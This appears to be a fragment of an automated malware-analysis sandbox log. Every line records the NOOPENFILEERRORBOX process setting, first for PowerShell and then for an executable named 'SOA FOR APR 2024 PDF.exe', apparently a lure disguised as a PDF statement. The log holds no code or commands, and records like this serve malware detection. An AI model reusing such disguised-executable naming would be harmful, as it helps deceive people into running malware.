Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\SOA FOR APR 2024 PDF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
